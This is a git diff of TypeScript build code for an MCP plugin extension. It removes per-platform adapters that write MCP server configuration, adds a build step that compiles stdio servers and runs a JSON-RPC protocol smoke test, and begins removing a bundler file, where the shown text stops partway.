-1,544 +0,0 @@ -import { - bytesArtifact, - stableJson, - type ExtensionPlatformAdapter, - type JsonValue, - type PlatformAdapterContext, - type PlatformId, -} from '@tokenroll/acplugin'; -import type { BuiltMcpServer, BuiltMcpServers } from './bundler.js'; -import { - ANTIGRAVITY_PLATFORM_ID, - CLAUDE_CODE_PLATFORM_ID, - CODEX_PLATFORM_ID, - CURSOR_PLATFORM_ID, - MCP_MANIFEST_PATH, - OPENCODE_PLATFORM_ID, - PI_PLATFORM_ID, - PLUGIN_MANIFEST_ID, -} from './constants.js'; -import type { ValueSource } from './types.js'; - -/** - * 按 UTF-16 code unit 比较 MCP 配置键,不依赖宿主 locale/ICU。 - * - * @param left 左侧名称。 - * @param right 右侧名称。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - -/** 拆分后可分别映射到平台字面量和环境引用字段的值。 */ -interface MappedValues { - /** 可以直接写入目标清单的非敏感字面量。 */ - readonly literal: Readonly>; - /** 只写变量名称、由安装运行时读取真实值的引用。 */ - readonly environment: Readonly>; -} - -/** - * 将 ValueSource 映射拆分为字面量和环境变量引用。 - * - * @param values Header 或进程环境配置。 - * @returns 按名称稳定插入的 literal 与 environment 映射。 - */ -function mapValues(values: Readonly> | undefined): MappedValues { - /** 可以直接写入目标清单的非敏感字面量。 */ - const literal: Record = {}; - /** 只写变量名称、由安装运行时读取真实值的引用。 */ - const environment: Record = {}; - /** [name, source] 表示当前已验证的 ValueSource 映射。 */ - for (const [name, source] of Object.entries(values ?? {}).sort(([left], [right]) => compareCodeUnits(left, right))) { - if ('value' in source) - literal[name] = source.value; - else - environment[name] = source.env; - } - return Object.freeze({ literal: Object.freeze(literal), environment: Object.freeze(environment) }); -} - -/** - * 把规范 MCP 定义转换为 Claude Code `.mcp.json` Server 描述。 - * - * @param server 已验证并可能完成本地构建的 MCP Server。 - * @returns Claude Code 使用的 stdio 或 HTTP 配置。 - */ -function claudeDescriptor(server: BuiltMcpServer): Readonly> { - /** 当前 Server 的可判别联合定义。 */ - const definition = server.definition; - if (definition.transport === 'stdio') { - /** 拆分后的进程环境字面量与宿主变量引用。 */ - const values = mapValues(definition.env); - /** 运行时环境变量使用 Claude Code 支持的 `${NAME}` 插值。 */ - const environment = Object.fromEntries( - Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`]), - ); - return Object.freeze({ - type: 'stdio', - command: 'node', - args: Object.freeze([`\${CLAUDE_PLUGIN_ROOT}/mcp/${server.id}/server.mjs`]), - ...(Object.keys(values.literal).length === 0 && Object.keys(environment).length === 0 - ? {} - : { env: Object.freeze({ ...values.literal, ...environment }) }), - }); - } - /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ - const values = mapValues(definition.headers); - /** 最终写入 Claude `.mcp.json` 的 Header。 */ - const headers: Record = { - ...values.literal, - ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`])), - }; - if (definition.auth?.type === 'bearer') - headers.Authorization = `Bearer \${${definition.auth.env}}`; - return Object.freeze({ - type: 'http', - url: definition.url, - ...(Object.keys(headers).length === 0 ? {} : { headers: Object.freeze(headers) }), - ...(definition.auth?.type === 'oauth' && definition.auth.scopes !== undefined - ? { oauth: Object.freeze({ scopes: definition.auth.scopes.join(' ') }) } - : {}), - }); -} - -/** - * 把规范 MCP 定义转换为 Codex Plugin MCP Server 描述。 - * - * @param server 已验证并可能完成本地构建的 MCP Server。 - * @returns Codex 使用的 stdio 或 HTTP 配置。 - */ -function codexDescriptor(server: BuiltMcpServer): Readonly> { - /** 当前 Server 的可判别联合定义。 */ - const definition = server.definition; - if (definition.transport === 'stdio') { - /** 拆分后的进程环境字面量与宿主变量引用。 */ - const values = mapValues(definition.env); - return Object.freeze({ - command: 'node', - args: Object.freeze([`./mcp/${server.id}/server.mjs`]), - cwd: '.', - ...(Object.keys(values.literal).length === 0 ? {} : { env: values.literal }), - ...(Object.keys(values.environment).length === 0 - ? {} - : { env_vars: Object.freeze([...new Set(Object.values(values.environment))].sort()) }), - }); - } - /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ - const values = mapValues(definition.headers); - return Object.freeze({ - url: definition.url, - ...(definition.auth?.type === 'bearer' ? { bearer_token_env_var: definition.auth.env } : {}), - ...(definition.auth?.type === 'oauth' && definition.auth.scopes !== undefined - ? { scopes: Object.freeze([...definition.auth.scopes]) } - : {}), - ...(Object.keys(values.literal).length === 0 ? {} : { http_headers: values.literal }), - ...(Object.keys(values.environment).length === 0 ? {} : { env_http_headers: values.environment }), - }); -} - -/** - * 报告一个 MCP Server 在默认平台上的实际传输和认证能力。 - * - * @param context 当前 Platform Adapter 上下文。 - * @param server 正在适配的 MCP Server。 - */ -function reportCompatibility(context: PlatformAdapterContext, server: BuiltMcpServer): void { - context.reportCompatibility({ - subject: `mcp:${server.id}`, - capability: `transport.${server.definition.transport}`, - level: 'native', - reason: `${context.platform.id} supports ${server.definition.transport} MCP Servers.`, - }); - if (server.definition.transport === 'http' && server.definition.auth !== undefined) { - context.reportCompatibility({ - subject: `mcp:${server.id}`, - capability: `auth.${server.definition.auth.type}`, - level: 'native', - reason: `${context.platform.id} can express the selected MCP authentication reference.`, - }); - } -} - -/** - * 向当前默认 Plugin Draft 贡献 Server Bundle、许可、MCP 清单和 Manifest 引用。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built Extension build 阶段产生的平台中立状态。 - * @param platform 当前官方 Adapter 的 Platform ID。 - */ -async function applyDefaultAdapter( - context: PlatformAdapterContext, - built: Readonly, - platform: typeof CLAUDE_CODE_PLATFORM_ID | typeof CODEX_PLATFORM_ID, -): Promise { - if (built.servers.length === 0) - return; - /** Platform 必须提供约定的 Plugin Manifest Document 才能安全建立引用。 */ - if (context.getDocument(PLUGIN_MANIFEST_ID) === undefined) { - context.reportDiagnostic({ - code: 'MCP_PLATFORM_DOCUMENT_MISSING', severity: 'error', - message: `Platform "${platform}" does not expose the required Plugin Manifest document.`, - }); - return; - } - for (const server of built.servers) { - if (server.definition.transport === 'stdio') { - if (server.bundle === undefined) { - context.reportDiagnostic({ - code: 'MCP_BUNDLE_MISSING', severity: 'error', message: `MCP Server "${server.id}" has no local bundle.`, - }); - continue; - } - context.emitArtifact({ - path: `mcp/${server.id}/server.mjs`, - source: { type: 'file', path: server.bundle.server }, - mode: 0o755, - }); - if (server.bundle.licenses !== undefined) { - context.emitArtifact({ - path: `mcp/${server.id}/THIRD_PARTY_LICENSES.txt`, - source: { type: 'file', path: server.bundle.licenses }, - mode: 0o644, - }); - } - } - reportCompatibility(context, server); - } - /** 平台协议决定顶层是否使用 mcpServers 包裹。 */ - const descriptors = Object.fromEntries(built.servers.map(server => [ - server.id, - platform === CLAUDE_CODE_PLATFORM_ID ? claudeDescriptor(server) : codexDescriptor(server), - ])); - /** Claude Code 使用 wrapped 形式,Codex Plugin 使用 direct server map。 */ - const manifest = platform === CLAUDE_CODE_PLATFORM_ID ? { mcpServers: descriptors } : descriptors; - context.emitArtifact(bytesArtifact(MCP_MANIFEST_PATH, stableJson(manifest))); - context.patchDocument({ - document: PLUGIN_MANIFEST_ID, - path: ['mcpServers'], - value: `./${MCP_MANIFEST_PATH}`, - }); -} - -/** - * 把 HTTP MCP Header 映射为运行时环境插值字符串。 - * - * @param server 已验证的远程 MCP Server。 - * @param environmentReference 根据 Platform 生成环境变量引用的函数。 - * @returns 合并公开字面量、环境引用和可选 Bearer Header 的稳定对象。 - */ -function remoteHeaders( - server: BuiltMcpServer, - environmentReference: (name: string) => string, -): Readonly> { - if (server.definition.transport !== 'http') - return Object.freeze({}); - /** 拆分后的 Header 字面量和环境变量名称。 */ - const values = mapValues(server.definition.headers); - /** 最终平台配置只包含公开值或环境变量引用。 */ - const headers: Record = { - ...values.literal, - ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, environmentReference(env)])), - }; - if (server.definition.auth?.type === 'bearer') - headers.Authorization = `Bearer ${environmentReference(server.definition.auth.env)}`; - return Object.freeze(headers); -} - -/** - * 报告 remote-only Platform 对一个 MCP Server 的精确能力结论。 - * - * @param context 当前 Platform Adapter 上下文。 - * @param server 正在适配的 MCP Server。 - */ -function reportRemoteOnlyCompatibility(context: PlatformAdapterContext, server: BuiltMcpServer): void { - if (server.definition.transport === 'stdio') { - context.reportCompatibility({ - subject: `mcp:${server.id}`, - capability: 'transport.stdio', - level: 'unsupported', - reason: `${context.platform.id} has no verified portable Plugin-root contract for bundled stdio MCP Servers.`, - }); - return; - } - context.reportCompatibility({ - subject: `mcp:${server.id}`, - capability: 'transport.http', - level: 'native', - reason: `${context.platform.id} supports remote HTTP MCP Servers.`, - }); - if (server.definition.auth?.type === 'oauth' && (server.definition.auth.scopes?.length ?? 0) > 0) { - context.reportCompatibility({ - subject: `mcp:${server.id}`, - capability: 'auth.oauth.scopes', - level: 'degraded', - transformation: 'The platform performs OAuth discovery without requested scope hints.', - reason: `${context.platform.id} Plugin MCP configuration has no verified OAuth scopes field.`, - }); - } else if (server.definition.auth !== undefined) { - context.reportCompatibility({ - subject: `mcp:${server.id}`, - capability: `auth.${server.definition.auth.type}`, - level: 'native', - reason: `${context.platform.id} can express the selected authentication reference.`, - }); - } -} - -/** - * 创建 Cursor remote MCP Server 描述。 - * - * @param server 已验证的远程 Server。 - * @returns Cursor mcp.json 中的单个 Server 配置。 - */ -function cursorDescriptor(server: BuiltMcpServer): Readonly> { - if (server.definition.transport !== 'http') - throw new TypeError('Cursor MCP Adapter accepts only remote HTTP Servers.'); - /** Cursor 在 JSON 配置中使用 `${env:NAME}` 延迟读取宿主环境。 */ - const headers = remoteHeaders(server, name => `\${env:${name}}`); - return Object.freeze({ - url: server.definition.url, - ...(Object.keys(headers).length === 0 ? {} : { headers }), - }); -} - -/** - * 创建 Antigravity remote MCP Server 描述。 - * - * @param server 已验证的远程 Server。 - * @returns mcp_config.json 中的单个 Server 配置。 - */ -function antigravityDescriptor(server: BuiltMcpServer): Readonly> { - if (server.definition.transport !== 'http') - throw new TypeError('Antigravity MCP Adapter accepts only remote HTTP Servers.'); - /** Antigravity 的 MCP 配置沿用 `${NAME}` 运行时环境插值。 */ - const headers = remoteHeaders(server, name => `\${${name}}`); - return Object.freeze({ - type: 'http', - url: server.definition.url, - ...(Object.keys(headers).length === 0 ? {} : { headers }), - }); -} - -/** - * 应用 Cursor remote-only MCP Adapter。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built MCP Extension 的平台中立 Built State。 - */ -async function applyCursorAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - for (const server of built.servers) - reportRemoteOnlyCompatibility(context, server); - /** Cursor 首期只生成可移植 remote HTTP 配置。 */ - const remote = built.servers.filter(server => server.definition.transport === 'http'); - if (remote.length === 0) - return; - if (context.getDocument(PLUGIN_MANIFEST_ID) === undefined) { - context.reportDiagnostic({ - code: 'MCP_PLATFORM_DOCUMENT_MISSING', severity: 'error', - message: 'Cursor Platform does not expose the required Plugin Manifest document.', - }); - return; - } - /** Cursor 使用与生态 mcp.json 一致的 wrapped server map。 */ - const mcpServers = Object.fromEntries(remote.map(server => [server.id, cursorDescriptor(server)])); - context.emitArtifact(bytesArtifact('mcp.json', stableJson({ mcpServers }))); - context.patchDocument({ document: PLUGIN_MANIFEST_ID, path: ['mcpServers'], value: './mcp.json' }); -} - -/** - * 应用 Antigravity remote-only MCP Adapter。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built MCP Extension 的平台中立 Built State。 - */ -async function applyAntigravityAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - for (const server of built.servers) - reportRemoteOnlyCompatibility(context, server); - /** Antigravity 首期只生成可移植 remote HTTP 配置。 */ - const remote = built.servers.filter(server => server.definition.transport === 'http'); - if (remote.length === 0) - return; - /** 官方 Plugin 根结构使用 mcp_config.json,不需要 Manifest 引用。 */ - const mcpServers = Object.fromEntries(remote.map(server => [server.id, antigravityDescriptor(server)])); - context.emitArtifact(bytesArtifact('mcp_config.json', stableJson({ mcpServers }))); -} - -/** - * 创建 OpenCode remote/local MCP Server 描述。 - * - * @param server 已验证并可能带本地 Bundle 的 Server。 - * @returns opencode.json.mcp 中的单个配置。 - */ -function openCodeDescriptor(server: BuiltMcpServer): Readonly> { - /** 当前 Server 的可判别联合定义。 */ - const definition = server.definition; - if (definition.transport === 'stdio') { - /** 拆分后的进程环境字面量与运行时引用。 */ - const values = mapValues(definition.env); - /** OpenCode 配置使用 `{env:NAME}` 延迟读取宿主环境。 */ - const environment = { - ...values.literal, - ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `{env:${env}}`])), - }; - return Object.freeze({ - type: 'local', - command: Object.freeze(['node', `./.opencode/mcp/${server.id}/server.mjs`]), - ...(Object.keys(environment).length === 0 ? {} : { environment: Object.freeze(environment) }), - enabled: true, - }); - } - /** 远程 Header 只含公开值和 OpenCode 环境引用。 */ - const headers = remoteHeaders(server, name => `{env:${name}}`); - return Object.freeze({ - type: 'remote', - url: definition.url, - ...(Object.keys(headers).length === 0 ? {} : { headers }), - ...(definition.auth?.type === 'oauth' && definition.auth.scopes !== undefined - ? { oauth: Object.freeze({ scopes: Object.freeze([...definition.auth.scopes]) }) } - : {}), - enabled: true, - }); -} - -/** - * 应用 OpenCode remote/local MCP Adapter。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built MCP Extension 的平台中立 Built State。 - */ -async function applyOpenCodeAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - if (built.servers.length === 0) - return; - if (context.getDocument('workspace-config') === undefined) { - context.reportDiagnostic({ - code: 'MCP_PLATFORM_DOCUMENT_MISSING', severity: 'error', - message: 'OpenCode Platform does not expose the required workspace config document.', - }); - return; - } - for (const server of built.servers) { - if (server.definition.transport === 'stdio') { - if (server.bundle === undefined) { - context.reportDiagnostic({ - code: 'MCP_BUNDLE_MISSING', severity: 'error', message: `MCP Server "${server.id}" has no local bundle.`, - }); - continue; - } - context.emitArtifact({ - path: `.opencode/mcp/${server.id}/server.mjs`, - source: { type: 'file', path: server.bundle.server }, - mode: 0o755, - }); - if (server.bundle.licenses !== undefined) { - context.emitArtifact({ - path: `.opencode/mcp/${server.id}/THIRD_PARTY_LICENSES.txt`, - source: { type: 'file', path: server.bundle.licenses }, - mode: 0o644, - }); - } - } - reportCompatibility(context, server); - } - /** OpenCode Platform Document 拥有最终 opencode.json 序列化。 */ - const descriptors = Object.fromEntries(built.servers.map(server => [server.id, openCodeDescriptor(server)])); - context.patchDocument({ document: 'workspace-config', path: ['mcp'], value: descriptors }); -} - -/** - * 应用明确不支持 MCP 的 Pi Adapter。 - * - * @param context Core 提供的兼容性报告出口。 - * @param built MCP Extension 的平台中立 Built State。 - */ -async function applyPiAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - /** server 表示当前资源,用于逐项报告且绝不生成伪配置。 */ - for (const server of built.servers) { - context.reportCompatibility({ - subject: `mcp:${server.id}`, - capability: `transport.${server.definition.transport}`, - level: 'unsupported', - reason: 'Pi has no first-class MCP package configuration and acplugin does not add an implicit client Extension.', - }); - } -} - -/** - * 创建 MCP Extension 内置的六个平台 Adapter。 - * - * @returns 只通过 Core 受限 API 写入平台 Draft 的固定 Adapter 列表。 - */ -export function createMcpAdapters(): readonly ExtensionPlatformAdapter[] { - /** Claude Code 官方 Adapter。 */ - const claudeCode: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: CLAUDE_CODE_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 Claude Code wrapped MCP 配置。 */ - apply: (context: PlatformAdapterContext, built: Readonly) => applyDefaultAdapter( - context, - built, - CLAUDE_CODE_PLATFORM_ID, - ), - }); - /** Codex 官方 Adapter。 */ - const codex: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: CODEX_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 Codex direct MCP 配置。 */ - apply: (context: PlatformAdapterContext, built: Readonly) => applyDefaultAdapter( - context, - built, - CODEX_PLATFORM_ID, - ), - }); - /** Cursor 官方 Adapter。 */ - const cursor: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: CURSOR_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 只生成 remote HTTP mcp.json;stdio 精确报告 unsupported。 */ - apply: applyCursorAdapter, - }); - /** Antigravity 官方 Adapter。 */ - const antigravity: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: ANTIGRAVITY_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 只生成 remote HTTP mcp_config.json;stdio 精确报告 unsupported。 */ - apply: applyAntigravityAdapter, - }); - /** OpenCode 官方 Adapter。 */ - const openCode: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: OPENCODE_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 生成 workspace mcp 配置和可移植 local Server Bundle。 */ - apply: applyOpenCodeAdapter, - }); - /** Pi 明确 unsupported Adapter。 */ - const pi: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: PI_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 只报告无一等 MCP 能力,不生成 Artifact。 */ - apply: applyPiAdapter, - }); - return Object.freeze([claudeCode, codex, cursor, antigravity, openCode, pi]); -} diff --git a/packages/extensions/mcp/src/build.ts b/packages/extensions/mcp/src/build.ts new file mode 100644 index 0000000..0047faf --- /dev/null +++ b/packages/extensions/mcp/src/build.ts @@ -0,0 +1,163 @@ +import type { ExtensionBuildContext, GeneratedAssetRef, PortableNodeCompileOptions } from '@tokenroll/acplugin/sdk'; +import type { DiscoveredMcpServers } from './discovery.js'; + +/** 当前固定 smoke 请求使用的 MCP 协议版本。 */ +const MCP_PROTOCOL_VERSION = '2025-11-25'; + +/** JSON-RPC/MCP 结构只接受普通对象。 */ +function isObject(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** JSON-RPC request/response ID 的稳定去重键。 */ +function rpcIdKey(value: unknown): string | undefined { + if (typeof value === 'string') return `string:${value}`; + if (typeof value === 'number' && Number.isFinite(value)) return `number:${value}`; + if (value === null) return 'null'; + return undefined; +} + +/** 验证一条 stdout 消息满足 JSON-RPC 2.0 request/notification/response envelope。 */ +function isJsonRpcMessage(value: unknown): value is Record { + if (!isObject(value) || value.jsonrpc !== '2.0') return false; + if (Object.hasOwn(value, 'method')) { + if (typeof value.method !== 'string' || value.method.length === 0) return false; + if (Object.hasOwn(value, 'id') && rpcIdKey(value.id) === undefined) return false; + return !Object.hasOwn(value, 'params') || isObject(value.params) || Array.isArray(value.params); + } + if (!Object.hasOwn(value, 'id') || rpcIdKey(value.id) === undefined) return false; + /** result 字段存在性用于约束 response 的二选一分支。 */ + const hasResult = Object.hasOwn(value, 'result'); + /** error 字段存在性与 result 必须恰好互斥。 */ + const hasError = Object.hasOwn(value, 'error'); + if (hasResult === hasError) return false; + if (!hasError) return true; + /** error payload 必须满足 JSON-RPC 稳定错误形状。 */ + const error = value.error; + return isObject(error) && Number.isInteger(error.code) && typeof error.message === 'string'; +} + +/** 验证 initialize 与 tools/list 的精确 MCP 结果形状。 */ +function validateMcpSmokeOutput(stdout: Uint8Array): boolean { + try { + /** stdio MCP 每行承载一条独立 JSON-RPC 消息。 */ + const lines = new TextDecoder().decode(stdout).split(/\r?\n/u).filter(line => line.length > 0); + /** request/response ID 在整个 smoke 输出中不能重复。 */ + const ids = new Set(); + /** 两个请求对应的唯一响应。 */ + let initialize: Record | undefined; + /** tools/list 请求对应的唯一响应。 */ + let tools: Record | undefined; + for (const line of lines) { + /** 单行 JSON 解析结果在读取字段前经过完整 envelope 校验。 */ + const message: unknown = JSON.parse(line); + if (!isJsonRpcMessage(message)) return false; + if (Object.hasOwn(message, 'id')) { + /** 规范化 ID 键防止字符串和数值碰撞或重复响应。 */ + const key = rpcIdKey(message.id)!; + if (ids.has(key)) return false; + ids.add(key); + } + /** 带 method 的消息是 Server request/notification,不是 smoke 响应。 */ + if (Object.hasOwn(message, 'method')) continue; + if (message.id === 1) initialize = message; + if (message.id === 2) tools = message; + } + if (initialize === undefined || tools === undefined || Object.hasOwn(initialize, 'error') || Object.hasOwn(tools, 'error')) return false; + /** initialize result 必须声明精确协议版本与 Server 身份。 */ + const initializeResult = initialize.result; + if (!isObject(initializeResult) + || initializeResult.protocolVersion !== MCP_PROTOCOL_VERSION + || !isObject(initializeResult.capabilities) + || !isObject(initializeResult.serverInfo) + || typeof initializeResult.serverInfo.name !== 'string' + || initializeResult.serverInfo.name.length === 0 + || typeof initializeResult.serverInfo.version !== 'string' + || initializeResult.serverInfo.version.length === 0) + return false; + /** tools/list result 必须提供可逐项验证的 tools 数组。 */ + const toolsResult = tools.result; + if (!isObject(toolsResult) || !Array.isArray(toolsResult.tools)) return false; + return toolsResult.tools.every(tool => isObject(tool) + && typeof tool.name === 'string' + && tool.name.length > 0 + && isObject(tool.inputSchema)); + } catch { + return false; + } +} + +/** MCP Build State 中一个可跨 Platform 复用的 stdio Bundle。 */ +export interface BuiltMcpServer { + readonly id: string; + readonly definition: DiscoveredMcpServers['servers'][number]['definition']; + readonly handler?: GeneratedAssetRef; + readonly licenses?: GeneratedAssetRef; +} + +/** MCP Extension 的不可变 Built State。 */ +export interface BuiltMcpServers { readonly servers: readonly BuiltMcpServer[] } + +/** 通过 Core portable-node 一次编译所有本地 MCP 入口。 */ +export async function buildMcpServers(context: ExtensionBuildContext, validated: Readonly, compile?: PortableNodeCompileOptions): Promise { + /** 仅本地 stdio Server 需要生成 Bundle。 */ + const local = validated.servers.filter(server => server.definition.transport === 'stdio'); + /** 每个本地入口对应一个可执行编译条目。 */ + const entries = Object.fromEntries(local.map(server => [server.id, Object.freeze({ type: 'source' as const, source: server.entrySource!, mode: 0o755 as const })])); + /** 延迟初始化 Compile Result,保证 HTTP-only 不创建 Job。 */ + let result: Awaited> | undefined; + if (local.length > 0) { + try { + /** Core portable-node 统一编译全部 stdio 入口。 */ + result = await context.compiler.compile({ id: 'mcp', profile: 'portable-node', entries, sourceScopes: Object.freeze([validated.root]), ...(compile === undefined ? {} : { options: compile }) }); + } catch (error) { + /** 底层解析失败只映射为稳定 unresolved-import 诊断。 */ + const message = error instanceof Error ? error.message : ''; + if (/dynamic import|unresolved import|could not resolve/iu.test(message)) { + context.diagnostics.report({ code: 'BUILD_UNRESOLVED_IMPORT', severity: 'error', message: 'MCP stdio bundle contains an unresolved import.' }); + } + throw error; + } + } + /** 按 Server ID 把 Core 输出映射为 Extension Built State。 */ + const servers = validated.servers.map((server) => { + if (server.definition.transport === 'http') return Object.freeze({ id: server.id, definition: server.definition }); + /** 当前 stdio entry 的全部 Core 输出。 */ + const outputs = result!.outputs.filter(output => output.outputId === server.id); + /** 固定唯一可执行 main.mjs。 */ + const main = outputs.find(output => output.type === 'chunk' && output.isEntry && output.fileName === 'main.mjs'); + /** 可选相邻第三方许可证材料。 */ + const licenses = outputs.find(output => output.type === 'licenses' && output.fileName === 'THIRD_PARTY_LICENSES.txt'); + if (main === undefined) throw new Error(`Compiler returned no MCP entry for "${server.id}".`); + return Object.freeze({ id: server.id, definition: server.definition, handler: main.asset, ...(licenses === undefined ? {} : { licenses: licenses.asset }) }); + }); + /** 对每个 stdio Bundle 运行固定 JSON-RPC initialize/tools/list smoke。 */ + for (const server of servers) { + if (server.definition.transport !== 'stdio') + continue; + /** 当前 Bundle 的 Core 生成入口引用。 */ + const handler = (server as BuiltMcpServer).handler; + if (handler === undefined) + continue; + /** Smoke 进程只接收作者明确给出的公开 literal 环境。 */ + const environment = Object.fromEntries(Object.entries(server.definition.env ?? {}) + .filter((entry): entry is [string, { readonly value: string }] => 'value' in entry[1]) + .map(([name, source]) => [name, source.value])); + /** 固定的 MCP initialize、initialized 和 tools/list 请求序列。 */ + const input = [ + JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'initialize', params: { protocolVersion: MCP_PROTOCOL_VERSION, capabilities: {}, clientInfo: { name: 'acplugin-smoke', version: '1' } } }), + JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }), + JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }), + '', + ].join('\n'); + /** Core Execution Host 提供超时、输出上限和最小环境。 */ + const result = await context.execution.runNode({ entry: handler, stdin: input, timeoutMs: 5000, maxOutputBytes: 256 * 1024, environment }); + /** 正常退出和精确 JSON-RPC/MCP response shape 同时成立才通过。 */ + const valid = result.status === 'exited' && result.exitCode === 0 && validateMcpSmokeOutput(result.stdout); + if (!valid) { + /** 原始 stdout/stderr 不进入诊断,避免泄漏作者运行时内容。 */ + context.diagnostics.report({ code: 'MCP_STDIO_SMOKE_FAILED', severity: 'error', message: `MCP Server "${server.id}" failed the initialize/tools-list protocol smoke.` }); + } + } + return Object.freeze({ servers: Object.freeze(servers) }); +} diff --git a/packages/extensions/mcp/src/bundler.ts b/packages/extensions/mcp/src/bundler.ts deleted file mode 100644 index 75e471e..0000000 --- a/packages/extensions/mcp/src/bundler.ts +++ /dev/null @@ -1,471 +0,0 @@ -import { spawn } from 'node:child_process'; -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { build as rolldownBuild, type OutputChunk } from 'rolldown'; -import { parseAst } from 'rolldown/parseAst'; -import type { ExtensionBuildContext } from '@tokenroll/acplugin'; -import type { DiscoveredMcpServer, DiscoveredMcpServers } from './discovery.js'; - -/** - * 按 UTF-16 code unit 比较 Bundle 元数据,不依赖宿主 locale/ICU。 - * - * @param left 左侧字符串。 - * @param right 右侧字符串。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - -/** 单个 stdio MCP Server 的独立可执行文件与许可文件。 */ -export interface BundledMcpServer { - /** Rolldown 生成的单文件 Node 20 ESM Server 路径。 */ - readonly server: string; - /** Bundle 包含第三方依赖时生成的合并许可文件。 */ - readonly licenses?: string; -} - -/** Adapter 读取的一个已验证 MCP Server 与可选本地 Bundle。 */ -export interface BuiltMcpServer { - /** 规范 Server ID。 */ - readonly id: string; - /** 已通过验证的作者定义。 */ - readonly definition: DiscoveredMcpServer['definition']; - /** stdio Server 的平台中立 Bundle;HTTP Server 不包含此字段。 */ - readonly bundle?: BundledMcpServer; -} - -/** build 阶段交给所有 Platform Adapter 的平台中立状态。 */ -export interface BuiltMcpServers { - /** 按 Server ID 稳定排序且每个 stdio 实现只 Bundle 一次的列表。 */ - readonly servers: readonly BuiltMcpServer[]; -} - -/** Bundle 中一个第三方 npm 包的许可元数据与原始法律文本。 */ -interface PackageLicense { - /** npm 包名。 */ - readonly name: string; - /** npm 包版本。 */ - readonly version: string; - /** package.json 声明的 SPDX 表达式或 UNKNOWN。 */ - readonly license: string; - /** 包根目录中发现的 LICENSE 或 NOTICE 文件。 */ - readonly notices: readonly { readonly name: string; readonly text: string }[]; -} - -/** 构建期 stdio 协议探测对外只暴露的脱敏失败类别。 */ -type McpSmokeFailure = 'output-limit' | 'process-exit' | 'protocol' | 'spawn' | 'timeout'; - -/** MCP smoke 允许 Server 写入 stdout/stderr 的合计字节上限。 */ -const MCP_SMOKE_OUTPUT_LIMIT = 256 * 1024; - -/** MCP smoke 等待 initialize 与 tools/list 的总时限。 */ -const MCP_SMOKE_TIMEOUT_MS = 5_000; - -/** - * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 - * - * @param moduleId Bundle 图中的原始 Module ID。 - * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 - */ -async function packageLicenseForModule(moduleId: string): Promise { - /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ - const normalized = moduleId.replace(/\?.*$/u, '').replace(/^\0/u, ''); - if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) - return undefined; - /** 从模块文件开始向上查找 package.json 的当前目录。 */ - let directory = path.dirname(normalized); - /** 终止向上遍历的文件系统根目录。 */ - const root = path.parse(directory).root; - while (directory !== root) { - try { - /** 当前候选目录中的包清单。 */ - const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { - readonly name?: unknown; - readonly version?: unknown; - readonly license?: unknown; - }; - if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { - /** 包根目录的一级文件,用于发现法律文本。 */ - const entries = await fs.readdir(directory, { withFileTypes: true }); - /** 按稳定顺序保留的 LICENSE 与 NOTICE 文件名。 */ - const noticeFiles = entries - .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/iu.test(entry.name)) - .map(entry => entry.name) - .sort(compareCodeUnits); - if (noticeFiles.length === 0) - throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); - return { - name: manifest.name, - version: manifest.version, - license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', - notices: await Promise.all(noticeFiles.map(async (name) => { - /** 当前第三方法律文件的完整文本。 */ - const text = (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(); - return Object.freeze({ name, text }); - })), - }; - } - } catch /** error 保存当前许可元数据读取失败,供 ENOENT 分支判断。 */ (error) { - if ((error as NodeJS.ErrnoException).code !== 'ENOENT') - throw error; - } - directory = path.dirname(directory); - } - throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); -} - -/** - * 汇总 Bundle 实际包含的第三方包许可,并写入稳定文本文件。 - * - * @param chunk 唯一的 Rolldown 输出 Chunk。 - * @param directory Server Bundle 所在目录。 - * @returns 